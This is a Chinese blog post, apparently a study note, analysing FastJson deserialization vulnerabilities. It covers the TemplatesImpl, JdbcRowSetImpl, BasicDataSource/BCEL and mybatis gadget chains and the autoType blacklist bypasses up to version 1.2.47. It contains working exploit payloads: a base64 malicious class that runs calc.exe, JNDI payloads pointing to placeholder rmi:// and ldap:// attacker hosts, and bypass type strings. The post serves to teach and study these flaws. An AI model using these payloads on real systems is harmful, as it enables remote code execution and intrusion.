沉铝汤的破站

IS LIFE ALWAYS THIS HARD, OR IS IT JUST WHEN YOU'RE A KID

FastJson反序列化漏洞

0x00 前言


浅学一下

0x01 环境配置


Maven

使用Maven导入依赖,如下:

<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>1.2.24</version>
    </dependency>
</dependencies>

0x02 FastJson的序列化


序列化

FastJson中序列化函数有toJSONString和toJSONBytes,不过这都8重要。在序列化时,会调用对应类的getter。编写一个测试类Tester(注意要有一个默认构造函数):

public class Tester {
    private String name;
    
    // 反序列化一定要有默认构造函数
    public Tester(){

    }

    public Tester(String name){
        System.out.println("调用构造方法");
        this.name = name;
    }

    public void setName(String name){
        this.name = name;
        System.out.println("调用SETTER");
    }

    public String getName() {
        System.out.println("调用GETTER");
        return this.name;
    }
}

然后我们进行一个测试:

import com.alibaba.fastjson.JSON;

public class Foobar {
    public static void main(String[] args){
        String testSer = JSON.toJSONString(new Tester("chenlvtang"));
        System.out.println(testSer);
   }
}

输出结果如下:

image-20220704103625788

反序列化

在FastJson中,反序列化,主要有两个函数:

  • parse
  • parseObject

这两者的区别在于,parseObject会在调用完parse后,将其转化为JSONObject,源码如下:

public static JSONObject parseObject(String text) {
    Object obj = parse(text);
    return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

如果没有指定类型,默认都是JSONObject类,只有在序列化内容中使用@type(autoType)或者在parseObject参数中指定对应的类,才能够将其转换为对应的类,测试代码如下:

// parse反序列化
System.out.println("parse():");
Object testUnser = JSON.parse(testSer);
System.out.println(testUnser.getClass().getName());

System.out.println("=========================");
// parseObject反序列化
System.out.println("parseObject():");
testUnser = JSON.parseObject(testSer);
System.out.println(testUnser.getClass().getName());

System.out.println("=========================");
// parse指定类型的转换
System.out.println("parse(@type):");
String testSerType = "{\"@type\":\"Tester\",\"name\":\"chenlvtang\"}";
testUnser = JSON.parse(testSerType);
System.out.println(testUnser.getClass().getName());

System.out.println("=========================");
// parseObject指定类型的转换,无Object.class
System.out.println("parseObject(@type):");
Object tester = JSON.parseObject(testSerType);
System.out.println(tester.getClass().getName());

System.out.println("=========================");
// parseObject指定类型的转换
System.out.println("parseObject(@type, Object.class):");
// 注意这里要设定Object.class, 不然会默认转为JSONObject
tester = JSON.parseObject(testSerType, Object.class);
System.out.println(tester.getClass().getName());

System.out.println("=========================");
// parseObject指定类型的转换
System.out.println("parseObject(, Tester.class):");
testUnser = JSON.parseObject(testSer, Tester.class);
System.out.println(testUnser.getClass().getName());

注意上面,parseObject在以@type反序列化时,需要指定一个Object.class,不然会默认转换为JSONObject,感兴趣可以追踪源码。上文的输出如下图所示:

image-20220704125919347

观察上面的输出,可以发现,parse在反序列化时会调用对应类(需要指定)的setter(还有特殊情况的getter,见下文),而parseObject因为多了一步toJSON,所以除了调用setter外还会调用getter(没指定Object.class的情况下)。

总的来说就是在反序列化过程中,会调用对应类的setter或者getter,这有什么风险呢?很容易想到,当某个类的setter和getter中存在危险函数时,就可以借助反序列化来执行,这就是FastJson反序列化漏洞的原理

parse调用getter

根据各位师傅(图片选自@…师傅)对fastjson反序列化源代码分析:

image-20220704143227915

可以知道当我们的getter方法满足下面条件时,就会被parse调用:

  • 函数名长度大于等于4
  • 非静态方法
  • get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自CollectionMapAtomicBooleanAtomicIntegerAtomicLong

0x03 TemplatesImpl链


回顾

Template链算是我们的老朋友了,在Java反序列化之CC2 一文中首次登场,不熟悉的可以回过头再看一下(好吧,我自己都忘记了,哈哈

FastJson中的调用

上文说到过FastJson反序列化漏洞,是通过调用类的getter和setter,但是在我们的Template链中我们只分析了入口为newTransform。是的,TemplatesImpl里面恰好就有这么一个getter,他不仅调用了我们的newTransfomer,并且满足上文说的parse需要的getter条件——”getOutputProperties“:

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

这里的返回类型是Properties,他继承了Hashtable,Hashtable实现了Map接口,所以满足条件。

几处小细节

a)反序列化不存在setter方法的private变量时,需要加上参数Feature.SupportNonPublicField,测试代码如下:

public class Tester {
    private String name;
    private String test = "Test"; //不给他Setter方法
//略
    
testSerType = "{\"@type\":\"Tester\",\"name\":\"chenlvtang\", \"test\":\"foo\"}";
testUnser = JSON.parseObject(testSerType, Object.class);
Tester testUnser1 = (Tester) testUnser;

调试后,发现并没有成功赋值:

image-20220704150402139

加上Feature.SupportNonPublicField后,成功赋值,这里就不再展示了。为什么要强调这一点呢,因为我们的Templat链里,好多变量并不存在setter,这也是这条链的缺陷。

b)getOutputProperties对应的成员变量是什么?

你可能会觉得是outputProperties,但是TemplatesImpl里面并没有这个,而只有_outputProperties。那是他吗?是的,因为我们知道,在变量面前加_一般是表示其私有的意思,FastJson在处理时,会自动帮我们去除,并找到对应的getter。感兴趣的话,可以自己在FastJson的源码搜索smartMatch, 还有个属性,可以关闭他:Feature.DisableFieldSmartMatch

c)_bytecodes[][]的处理

FastJson在处理byte[]数组时,会进行Base64解码的操作,如下:

ObjectArrayCodec.java

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
        final JSONLexer lexer = parser.lexer;
        // ......省略部分代码
        if (lexer.token() == JSONToken.LITERAL_STRING) {
            byte[] bytes = lexer.bytesValue();  // ... 在这里解析byte数组值
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }

// 接着调用JSONScanner.bytesValue()

JSONScanner.java

public byte[] bytesValue() {
      return IOUtils.decodeBase64(text, np + 1, sp);

所以我们的Payload中就需要Base64编码(其实如果不编码,我都还不知道怎么把字节类型的Payload塞进去ORZ

payload的构造

第一步,构造出恶意类模板,别忘了CC2中提到的点:

  • 需要继承AbstractTranslet
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class EvilTemplate extends AbstractTranslet{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

第二步,使用Javassist插入恶意方法,然后Base64编码:

public class MakeAndBase64 {
    public static void main(String[] args) throws  Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(EvilTemplate.class.getName());
        String cmd = "Runtime.getRuntime().exec(\"calc.exe\");";
        ctClass.makeClassInitializer().insertBefore(cmd);
        ctClass.setName("EvilTemplate");
        byte[] bytecode = ctClass.toBytecode();
        String base64ByteCode = Base64.getEncoder().encodeToString(bytecode);
        //System.out.println(base64ByteCode);
    }
}

第三步,构造恶意JSON数据:

public class MakeEvilJson {
    public static void main(String[] args){
        String evilJson = "{" +
                "\"@type\": " +
                "\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
                "\"_name\": " +
                "\"chenlvtang\"," +
                "\"_tfactory\":" +
                "{},"+
                "\"_bytecodes\":"+
                "[\"yv66vgAAADQAOQoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA5MRXZpbFRlbXBsYXRlOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEAEUV2aWxUZW1wbGF0ZS5qYXZhDAAJAAoHAC4MAC8AMAEACGNhbGMuZXhlDAAxADIBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAzAAoBAAxFdmlsVGVtcGxhdGUBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQwALwAwCgAlADQIACcMADEAMgoAJQA3ACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAADQANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAagACAAEAAAAbuAA1Eja2ADhXuAACEgO2AARXpwAISyq2AAaxAAEACQASABUABQADAAwAAAAWAAUACQAWABIAGQAVABcAFgAYABoAGgANAAAADAABABYABAAeAB8AAAAgAAAABwACVQcAIQQAAQAiAAAAAgAj\"],"+
                "\"_outputProperties\":"+
                "{}"+
                "}";

        JSON.parseObject(evilJson, Feature.SupportNonPublicField);
    }
}

这里要注意和CC链中构造不同的是,对象要写成{},数组要写成[],所以我们payload中_tfactory(要是一个对象,但是这里是直接置为空就行,我怀疑我之前构造CC2的时候也可以一个基类)和_bytecodes(是一个数组)都有相应的变换。

最后一步,测试,成功弹出熟悉的计算器!

image-20220704161249364

0x04 JdbcRowSetImpl链


分析

这条链非常滴简单,首先定位到com.sun.rowset.JdbcRowSetImpl的setAutoCommit函数:

public void setAutoCommit(boolean var1) throws SQLException {
    if (this.conn != null) {
        this.conn.setAutoCommit(var1);
    } else {
        this.conn = this.connect();
        this.conn.setAutoCommit(var1);
    }

}

当this.conn为空时,会调用this.connect(),跟进:

private Connection connect() throws SQLException {
    if (this.conn != null) {
        return this.conn;
    } else if (this.getDataSourceName() != null) {
        try {
            InitialContext var1 = new InitialContext();
            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
            return ...
            // 忽略
}
        

当this.getDataSourceName()不为空时,使用了JNDI的lookup,所以我们可以借此实现JNDI注入,不记得的话,请看:JNDI注入の拙见高版本JDK下的JNDI注入, getDataSourceName()如下:

public String getDataSourceName() {
    return dataSource;
}

所以实际上,只要控制dataSource的值就够了,因为我们的conn默认就是null,并且这里dataSource虽然是private,但是还存在setter(setDataSourceName),所以比template链限制更小,只受制于JNDI。而且这个链的触发点是setAutoCommit,不同于getter,setter在反序列化时无论怎样都是会调用的。

一处小细节

上文说到过,FastJson在反序列化时,实际上时通过调用setter来给成员赋值。我们这里的dataSource存在setter,但是名称为setDataSourceName:

public void setDataSourceName(String name) throws SQLException {

    if (name == null) {
        dataSource = null;
    } else if (name.equals("")) {
        throw new SQLException("DataSource name cannot be empty string");
    } else {
        dataSource = name;
    }

    URL = null;
}

那我们传参是用dataSource,还是dataSourceName呢?答案是,dataSourceName,这样fastjson才能调用到setter,从而实现datasource成员的赋值。(这部分代码貌似都是ASM操作字节码实现的,不知道师傅们是怎么调试的)

同时还要注意autoCommit要是布尔类型。

payload的构造

JNDI的打法,在上文两篇文章都有给出,不想再赘述了(实际上懒),这里仅以VPS的nc监听端口(你也可以用dnslog平台)来判断是否成功:

public class JdbcHacker {
    public static void  main(String[] args){
        String evilJson = "{" +
                "\"@type\":" +
                "\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":" +
                "\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
                "\"autoCommit\":" +
                "true" +
                "}";

        JSON.parse(evilJson);
    }
}

成功:

image-20220709152513843

0x04 BasicDataSource链(BCEL)


前言

这个链条利用条件比前两个都要低,他不需要开启额外的选项,也不像JNDI一样需要目标出网,但是很可惜的是,在JDK8u251后,其ClassLoader就找不到了。

具体可看:P牛的博客

依赖导入

BasicDataSource在Tomcat8之前,类路径为org.apache.tomcat.dbcp.dbcp.BasicDataSource,Maven导入配置如下:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>dbcp</artifactId>
    <version>6.0.53</version>
</dependency>

Tomcat8.0之后,路径为org.apache.tomcat.dbcp.dbcp2.BasicDataSource,Maven的配置如下:

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-dbcp</artifactId>
    <version>9.0.8</version>
</dependency>

Sink分析

在其 getConnection()中会调用createDataSource:

public Connection getConnection() throws SQLException {
    return this.createDataSource().getConnection();
}

跟进createDataSource又会调用createConnectionFactory:

protected synchronized DataSource createDataSource() throws SQLException {
    if (this.closed) {
        throw new SQLException("Data source is closed");
    } else if (this.dataSource != null) {
        return this.dataSource;
    } else {
        //这里
        ConnectionFactory driverConnectionFactory = this.createConnectionFactory();

继续跟进createConnectionFactory可以看到调用了Class.forName来加载类:

protected ConnectionFactory createConnectionFactory() throws SQLException {
    Class driverFromCCL = null;
    String user;
    if (this.driverClassName != null) {
        try {
            try {
                if (this.driverClassLoader == null) {
                    //这里
                    Class.forName(this.driverClassName);
                } else {
                    //这里
                    Class.forName(this.driverClassName, true, this.driverClassLoader);

我们在之前的反序列化学习中,似乎已经见过了ClassLoader加载类,而在这里和JDBC中是使用的Class.forName,两者有什么区别呢?其实Class.forName底层也是用过调用ClassLoader来实现,但是ClassLoader只会把类装入JVM内存,而Class.forName不仅会把类装入内存,还会去初始化,此时如果类中存在static静态代码块,则会被触发执行。

这里的参数都是可控的,所以如果有一个类中存在静态的代码块,就能够与之结合来利用……但是师傅们可能会觉得,这不是没用吗,哪里会有这样的类。确实,除非自己构造一个,不然这样的类确实不太可能有。但是我们注意到这里除了可以传入driverClassName外,还可以传入driverClassLoader,而恰好就有这么一个ClassLoader,给了我们加载任意恶意类的机会。

BCEL部分分析

(这里记得换低版本的JDK)在com.sun.org.apache.bcel.internal.util.ClassLoader的loadClass之中,我们可以看到,他会先将BCEL编码解码,并在解码后直接获取字节码,然后将其加载:

 protected Class loadClass(String class_name, boolean resolve)
   throws ClassNotFoundException
 {
   Class cl = null;
//省略
	
     	//如果是BCEL码
     	if(class_name.indexOf("$$BCEL$$") >= 0)
         clazz = createClass(class_name);//解码
	//省略
     
       if(clazz != null) {
         byte[] bytes  = clazz.getBytes();
         //注意这里
         cl = defineClass(class_name, bytes, 0, bytes.length);
       } else // Fourth try: Use default class loader
         cl = Class.forName(class_name);
     }

//省略
   return cl;
 }

因此,如果把BasicDataSource中的this.driverClassLoader指定为com.sun.org.apache.bcel.internal.util.ClassLoader,this.driverClassName指定为恶意类的BCEL码,我们即可实现攻击。其编码解码操作方法如下:

String str =  Utility.encode(cls.getBytes(),true);
byte[] bytes  = Utility.decode(real_name, true);

其中字节码的获取可以使用BCEL库的Repository.lookupClass().getBytes(),也可以使用之前CC链之中的Javassist来创建。

小细节

从上文,我们似乎已经可以构造出Payload了,但是我们不要忘了,我们的触发点是getConnection(),很显然,这是一个getter。而我们在上文说过,ParseObject会调用getter(因为他有一个toJson),这自然是没有问题的。但是在Parse下,要触发getter是存在条件的,即:

  • 函数名长度大于等于4
  • 非静态方法
  • get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自CollectionMapAtomicBooleanAtomicIntegerAtomicLong

这里getConnection的返回类型为Connection类型,继承的是Wrapper和AutoCloseable,显然是不符合要求的。那这就意味着Parse下无法利用吗?并不是的,我们将在下文进行讲解,看看大师傅们是如何巧妙地构造出可用Payload。

ParseObject下的Payload

如上文所说,在ParseObject下,我们完全不用担心什么。首先创建一个恶意类:

public class WanaHacker {
    static{
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
}

然后利用Javassist生成字节码并进行BCEL编码:

public class AnotherTest {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clz = pool.get(WanaHacker.class.getName());
        byte[] bytes = clz.toBytecode();

        String evilCode =  Utility.encode(bytes,true);
        System.out.println(evilCode);
    }
}

之后将Payload拼接:

String payload = "{" +
    "\"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\"," +
    "\"driverClassLoader\": {" +
    "\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"" +
    "}," +
    "\"driverClassName\":" +
    "\"$$BCEL$$" + evilCode + "\"" +
    "}";

JSON.parseObject(payload);

Parse下Payload

如上文所说,这里的getConnection不符合parse调用getter的规则,但是大师傅们给出了巧妙的解决办法:

{
    {
        "x":{
                "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName": "$$BCEL$$$l$8b$I$A$..."
        }
    }: "x"
}

我们将其抽象的表达为如下的形式:

{
    {
        "x":{
			ParseObject的Payload
        }
    }: "x"
}
  • 首先是将原payload包上{},放在value的位置,这样反序列化后,就会获得一个JSONObject对象
  • 之后再将其包上{},放在key的位置,在Parse中,Key为Json,则会调用其toString方法,而toString会遍历getter,从而实现触发。

0x05 绕过导论


autoTypeSupport选项

在1.2.25后,FastJson针对反序列化进行了修复,添加了autoTypeSupport选项并增加了一个checkAutoType方法。autoTypeSupport默认为false,此时不再支持@type;当为true时,checkAutoType方法会进行黑白名单的校验。使用如下语句可以开启autoTypeSupport:

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

下面为在DefaultJsonParser(调用栈中的一环)增加的调用ParserConfig类CheckAutoType方法的逻辑:

if (key == JSON.DEFAULT_TYPE_KEY && !this.lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = this.lexer.scanSymbol(this.symbolTable, '"');
    //经过checkAutoType的检查
    Class<?> clazz = this.config.checkAutoType(typeName, (Class)null, this.lexer.getFeatures());
    if (!Map.class.isAssignableFrom(clazz)) {
        ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
        this.lexer.nextToken(16);
        this.setResolveStatus(2);
        if (context != null && !(fieldName instanceof Integer)) {
            this.popContext();
        }

        Map var22 = (Map)deserializer.deserialze(this, clazz, fieldName);
        return var22;
    }

checkAutoType方法

当为true时,有以下处理流程(ParseConfig类):

if (this.autoTypeSupport || expectClass != null) {
    int i;
    String deny;
    for(i = 0; i < this.acceptList.length; ++i) {
        deny = this.acceptList[i];
        if (className.startsWith(deny)) {
            return TypeUtils.loadClass(typeName, this.defaultClassLoader);
        }
    }

    for(i = 0; i < this.denyList.length; ++i) {
        deny = this.denyList[i];
        if (className.startsWith(deny)) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

可以看到,如果在白名单内,则会直接调用TypeUtils.loadClass加载类,不在白名单则继续黑名单校验,如果在黑名单中,则会抛出异常。查看this.denyList,得到黑名单(V 1.2.25)如下(可以看到com.sun在黑名单里):

0 = "bsh"
1 = "com.mchange"
2 = "com.sun."
3 = "java.lang.Thread"
4 = "java.net.Socket"
5 = "java.rmi"
6 = "javax.xml"
7 = "org.apache.bcel"
8 = "org.apache.commons.beanutils"
9 = "org.apache.commons.collections.Transformer"
10 = "org.apache.commons.collections.functors"
11 = "org.apache.commons.collections4.comparators"
12 = "org.apache.commons.fileupload"
13 = "org.apache.myfaces.context.servlet"
14 = "org.apache.tomcat"
15 = "org.apache.wicket.util"
16 = "org.codehaus.groovy.runtime"
17 = "org.hibernate"
18 = "org.jboss"
19 = "org.mozilla.javascript"
20 = "org.python.core"
21 = "org.springframework"

如果也通过了黑名单校验,则会使用TypeUtils.loadClass进行类的加载:

if (this.autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

TypeUtils.loadClass方法

if (clazz != null) {
	return clazz;
} else if (className.charAt(0) == '[') {
	Class<?> componentType = loadClass(className.substring(1), classLoader);
	return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
	String newClassName = className.substring(1, className.length() - 1);
	return loadClass(newClassName, classLoader);

可以看到,在loadClass中会对[xxxLxxx;的格式进行截取,然后进行类的加载。那这里会有个什么问题呢?我们注意到,在上文黑名单的校验中,使用的是startsWith()。那么这里很显然就存在一个逻辑问题,如果我们以提到的这两种形式去构造Payload,就可以轻易的绕过黑名单校验。

绕过研究方向

对于此次的修复,有两类绕过的研究方向:

  • 绕过autoTypeSupport
  • 开启autoTypeSupport选项时,根据loadClass和黑名单校验的startsWith间的逻辑问题,或是黑名单之外的链,来绕过checkAutoType的黑名单

这里,我更加欣赏对autoTypeSupport的绕过,因为这样的Payload限制更少,不需要目标开启autoTypeSupport选项。

0x06 绕过详解


1.2.25-1.2.41

如上文所提到的,在这些版本中,直接使用[xxx或是Lxxxx;即可绕过:

image-20220709171028578

这里[xxx形式的payload可以根据报错信息进行构造:

image-20220709171215865

可以知道,要把逗号换成[,然后又有新的报错如下:

image-20220709171410269

增加一个{,成功执行:

image-20220709171532761

所以下次直接构造["xxxx"[{即可。

1.2.42

这个版本进行了新的修复,将黑名单换为了hash值(这些hash值对应的类已经有人碰撞出来了,可自己搜索一下)的比较:

if (this.autoTypeSupport || expectClass != null) {
    hash = h3;

    for(i = 3; i < className.length(); ++i) {
        hash ^= (long)className.charAt(i);
        hash *= 1099511628211L;
        if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
            if (clazz != null) {
                return clazz;
            }
        }

        if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

并且在进入黑白检查前之前增加了一段代码:

image-20220718230906253

这里实际就是对上一个版本的修复,对类名的开头和结尾进行截取,去除L;。但是因为没有对[xxxx的形式进行修复,所以这里依然可行。并且我们在上文提到过,在TypeUtils.loadClass中同样会进行L;的截取,所以当我双写L;时,去除一层L;后hash值依然匹配不上黑名单,从而导致绕过,并且最后在TypeUtils.loadClass再去除一次时,成功加载恶意类。因此,可用的Payload如下:

String evilJson = "{" +
    "\"@type\":" +
    "\"[com.sun.rowset.JdbcRowSetImpl\"[{" +
    "\"dataSourceName\":" +
    "\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
    "\"autoCommit\":" +
    "true" +
    "}";

//或是
String evilJson = "{" +
    "\"@type\":" +
    "\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
    "\"dataSourceName\":" +
    "\"rmi://xxx.xxx.xx.xx:2333/hacker\"," +
    "\"autoCommit\":" +
    "true" +
    "}";

1.2.43

在1.2.43中针对1.2.42中的双写绕过进行了修复,修复方法也是很粗暴,如果类以LL开头,则直接抛出异常,但还是没有针对[xxx进行修复 :

String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    //判断了是不是LL开头
    if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
        throw new JSONException("autoType is not support. " + typeName);
    }

    className = className.substring(1, className.length() - 1);
}

双写不能用,但是如上所说,还能使用[xx,所以此版本还是可被攻击。

1.2.44-1.2.45

在这个版本之中,终于修复了[xxx:(并且连Lxxx;这种都不行了)

Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
//如果是[开头
if (h1 == -5808493101479473382L) {
    throw new JSONException("autoType is not support. " + typeName);
}//如果是Lxxx;的形式 
else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    throw new JSONException("autoType is not support. " + typeName);
} else {

可以看到[开头和Lxxx;都不再能使用,会直接抛出异常。但是又有一条新的链可以实现攻击(类名不在黑名单中)——mybatis链。

mybatis链

mybatis链需要对方存在mybatis的jar。我们在pom.xml中添加:

<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.4.5</version>
</dependency>

在org.apache.ibatis.datasource.jndi.JndiDataSourceFactory包中存在setProperties方法,其中会调用JNDI:

public void setProperties(Properties properties) {
    try {
        Properties env = getEnvProperties(properties);
        InitialContext initCtx;
        if (env == null) {
            initCtx = new InitialContext();
        } else {
            initCtx = new InitialContext(env);
        }

        if (properties.containsKey("initial_context") && properties.containsKey("data_source")) {
            Context ctx = (Context)initCtx.lookup(properties.getProperty("initial_context"));
            this.dataSource = (DataSource)ctx.lookup(properties.getProperty("data_source"));
        } else if (properties.containsKey("data_source")) {
            //注意这里,可以JNDI注入
            this.dataSource = (DataSource)initCtx.lookup(properties.getProperty("data_source"));
        }
        // ...略

当properties参数存在“data_source”时,会调用JNDI,并传入data_source的值。因此,可以构造payload如下:

String evilJson = "{" +
    "\"@type\":" +
    "\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," +
    "\"properties\":" +
    "{\"data_source\": \"ldap://xxx.xxx.xx.xx:2333/hacker\"}" +
    "}";

但是,在1.2.46版本中,把mybatis链加入到了黑名单。

1.2.25-1.2.47

在上文说过,针对1.2.25添加的autoTypeSupport,有两种方式,一种是绕过其黑名单,还有一种是从根本上绕过这个选项的设置。本小节就是利用缓存来从根本上绕过autoTypeSupport,从而做到了通杀,直到在1.2.48中被修复。

在没开启autoTypeSupport时,会跳过上文检查分支,并经过如下代码的处理:

if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
    clazz = this.deserializers.findClass(typeName);
}

第一个getClassFromMapping从 TypeUtils的Mapping里获取类,第二个deserializers在ParserConfig类的构造函数中会调用initDeserialzers来初始化,可以浅看一下:

private void initDeserializers() {
       this.deserializers.put(SimpleDateFormat.class, MiscCodec.instance);
       this.deserializers.put(Timestamp.class, SqlDateDeserializer.instance_timestamp);
       this.deserializers.put(Date.class, SqlDateDeserializer.instance);
       this.deserializers.put(Time.class, TimeDeserializer.instance);
       this.deserializers.put(java.util.Date.class, DateCodec.instance);
       this.deserializers.put(Calendar.class, CalendarCodec.instance);
       this.deserializers.put(XMLGregorianCalendar.class, CalendarCodec.instance);

留意这里的MiscCodec。在DefaultJsonParser类中,我们可以清晰的看到,在完成ParserConfig获取后,会先获取他的deserialzer,并最后会调用他的deserialze方法

if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
    String typeName = lexer.scanSymbol(symbolTable, '"');
    Class<?> clazz = config.checkAutoType(typeName, null);

    // 中间一大堆忽略

    ObjectDeserializer deserializer = config.getDeserializer(clazz);
    return deserializer.deserialze(this, clazz, fieldName);
}

这里我们跟进上面留意的MiscCodec,在其deserial方法中:

image-20220722001949027

可以看到,当类为Class类时,会调用TypeUtile.loadClass,但是这又不是一个恶意类,有什么用呢?我们注意到这里传入的参数为strVal,strVal来自于ObejectVal (”strVal = (String)objVal“),而ObjectVal获取如下:

Object objVal;
if (parser.resolveStatus == 2) {
    parser.resolveStatus = 0;
    parser.accept(16);
    if (lexer.token() != 4) {
        throw new JSONException("syntax error");
    }

    //参数名必须为val
    if (!"val".equals(lexer.stringVal())) {
        throw new JSONException("syntax error");
    }

    lexer.nextToken();
    parser.accept(17);
    objVal = parser.parse();
    parser.accept(13);
} else {
    objVal = parser.parse();
}

此处实际上就是获取其val参数的值(其实我自己也有点没看懂这里代码逻辑,以后再详细阐述一下),所以上文的TypeUtile.loadClass最终是加载了Class类中val参数的值,这有什么用呢?在TypeUtile.loadClass中我们可以看到,其在每次加载完后,都会把其加入到mapping之中,类似于缓存一样

image-20220722004348103

这里的cache,默认为true:

public static Class<?> loadClass(String className, ClassLoader classLoader) {
